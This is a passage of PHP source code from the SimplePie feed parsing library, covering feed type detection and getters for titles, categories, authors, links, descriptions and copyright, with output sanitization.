feed with an invalid mime type may fall victim to this error, or " . SIMPLEPIE_NAME . " was unable to auto-discover it.. Use force_feed() if you are certain this URL is a real feed."; $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } } catch (SimplePie_Exception $e) { // This is usually because DOMDocument doesn't exist $this->error = $e->getMessage(); $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, $e->getFile(), $e->getLine())); return false; } if ($cache) { $this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD); if (!$cache->save($this)) { trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc')); } $this->feed_url = $file->url; } $locate = null; } $this->raw_data = $file->body; $headers = $file->headers; $sniffer = $this->registry->create('Content_Type_Sniffer', array(&$file)); $sniffed = $sniffer->get_type(); return array($headers, $sniffed); } /** * Get the error message for the occured error * * @return string|array Error message, or array of messages for multifeeds */ public function error() { return $this->error; } /** * Get the raw XML * * This is the same as the old `$feed->enable_xml_dump(true)`, but returns * the data instead of printing it. * * @return string|boolean Raw XML data, false if the cache is used */ public function get_raw_data() { return $this->raw_data; } /** * Get the character encoding used for output * * @since Preview Release * @return string */ public function get_encoding() { return $this->sanitize->output_encoding; } /** * Send the content-type header with correct encoding * * This method ensures that the SimplePie-enabled page is being served with * the correct {@link http://www.iana.org/assignments/media-types/ mime-type} * and character encoding HTTP headers (character encoding determined by the * {@see set_output_encoding} config option). * * This won't work properly if any content or whitespace has already been * sent to the browser, because it relies on PHP's * {@link http://php.net/header header()} function, and these are the * circumstances under which the function works. * * Because it's setting these settings for the entire page (as is the nature * of HTTP headers), this should only be used once per page (again, at the * top). * * @param string $mime MIME type to serve the page as */ public function handle_content_type($mime = 'text/html') { if (!headers_sent()) { $header = "Content-type: $mime;"; if ($this->get_encoding()) { $header .= ' charset=' . $this->get_encoding(); } else { $header .= ' charset=UTF-8'; } header($header); } } /** * Get the type of the feed * * This returns a SIMPLEPIE_TYPE_* constant, which can be tested against * using {@link http://php.net/language.operators.bitwise bitwise operators} * * @since 0.8 (usage changed to using constants in 1.0) * @see SIMPLEPIE_TYPE_NONE Unknown. * @see SIMPLEPIE_TYPE_RSS_090 RSS 0.90. * @see SIMPLEPIE_TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape). * @see SIMPLEPIE_TYPE_RSS_091_USERLAND RSS 0.91 (Userland). * @see SIMPLEPIE_TYPE_RSS_091 RSS 0.91. * @see SIMPLEPIE_TYPE_RSS_092 RSS 0.92. * @see SIMPLEPIE_TYPE_RSS_093 RSS 0.93. * @see SIMPLEPIE_TYPE_RSS_094 RSS 0.94. * @see SIMPLEPIE_TYPE_RSS_10 RSS 1.0. * @see SIMPLEPIE_TYPE_RSS_20 RSS 2.0.x. * @see SIMPLEPIE_TYPE_RSS_RDF RDF-based RSS. * @see SIMPLEPIE_TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format). * @see SIMPLEPIE_TYPE_RSS_ALL Any version of RSS. * @see SIMPLEPIE_TYPE_ATOM_03 Atom 0.3. * @see SIMPLEPIE_TYPE_ATOM_10 Atom 1.0. * @see SIMPLEPIE_TYPE_ATOM_ALL Any version of Atom. * @see SIMPLEPIE_TYPE_ALL Any known/supported feed type. * @return int SIMPLEPIE_TYPE_* constant */ public function get_type() { if (!isset($this->data['type'])) { $this->data['type'] = SIMPLEPIE_TYPE_ALL; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'])) { $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10; } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'])) { $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03; } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'])) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_10; } if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_090; } } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { case '0.91': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { case '0': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE; break; case '24': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND; break; } } break; case '0.92': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_092; break; case '0.93': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_093; break; case '0.94': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_094; break; case '2.0': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_20; break; } } } else { $this->data['type'] = SIMPLEPIE_TYPE_NONE; } } return $this->data['type']; } /** * Get the URL for the feed * * May or may not be different from the URL passed to {@see set_feed_url()}, * depending on whether auto-discovery was used. * * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.) * @todo If we have a perm redirect we should return the new URL * @todo When we make the above change, let's support <itunes:new-feed-url> as well * @todo Also, |atom:link|@rel=self * @return string|null */ public function subscribe_url() { if ($this->feed_url !== null) { return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI); } else { return null; } } /** * Get data for an feed-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the opening feed tag. * * The return value is an indexed array of elements matching the given * namespace and tag name. Each element has `attribs`, `data` and `child` * subkeys. For `attribs` and `child`, these contain namespace subkeys. * `attribs` then has one level of associative name => value data (where * `value` is a string) after the namespace. `child` has tag-indexed keys * after the namespace, each member of which is an indexed array matching * this same format. * * For example: * <pre> * // This is probably a bad example because we already support * // <media:content> natively, but it shows you how to parse through * // the nodes. * $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group'); * $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']; * $file = $content[0]['attribs']['']['url']; * echo $file; * </pre> * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_feed_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_ATOM_10) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_ATOM_03) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_RSS_RDF) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]; } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * channel/header section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_channel_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_ATOM_ALL) { if ($return = $this->get_feed_tags($namespace, $tag)) { return $return; } } if ($type & SIMPLEPIE_TYPE_RSS_10) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_090) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * image/logo section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_image_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_RSS_10) { if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_090) { if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } return null; } /** * Get the base URL value from the feed * * Uses `<xml:base>` if available, otherwise uses the first link in the * feed, or failing that, the URL of the feed itself. * * @see get_link * @see subscribe_url * * @param array $element * @return string */ public function get_base($element = array()) { if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base'])) { return $element['xml_base']; } elseif ($this->get_link() !== null) { return $this->get_link(); } else { return $this->subscribe_url(); } } /** * Sanitize feed data * * @access private * @see SimplePie_Sanitize::sanitize() * @param string $data Data to sanitize * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { return $this->sanitize->sanitize($data, $type, $base); } /** * Get the title of the feed * * Uses `<atom:title>`, `<title>` or `<dc:title>` * * @since 1.0 (previously called `get_feed_title` since 0.8) * @return string|null */ public function get_title() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get a category for the feed * * @since Unknown * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } /** * Get all categories for the feed * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Unknown * @return array|null List of {@see SimplePie_Category} objects */ public function get_categories() { $categories = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } else { return null; } } /** * Get an author for the feed * * @since 1.1 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } else { return null; } } /** * Get all authors for the feed * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_authors() { $authors = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } else { return null; } } /** * Get a contributor for the feed * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } else { return null; } } /** * Get all contributors for the feed * * Uses `<atom:contributor>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_contributors() { $contributors = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } else { return null; } } /** * Get a single link for the feed * * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } else { return null; } } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @internal Added for parity between the parent-level and the item/entry-level. * @return string|null Link URL */ public function get_permalink() { return $this->get_link(0); } /** * Get all links for the feed * * Uses `<atom:link>` or `<link>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the feed (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } else { return null; } } public function get_all_discovered_feeds() { return $this->all_discovered_feeds; } /** * Get the content for the item * * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`, * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>` * * @since 1.0 (previously called `get_feed_description()` since 0.8) * @return string|null */ public function get_description() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } else { return null; } } /** * Get the copyright info for the feed * * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>` * * @since 1.0 (previously called `get_feed_copyright()` since 0.8) * @return string|null */ public function get_copyright() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get the language for the feed * * Uses `<language>`, `<dc:language>`, or @xml_lang * * @since 1.0 (previously called `get_feed_language()` since 0.8) * @return string|null */ public function get_language() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) { return 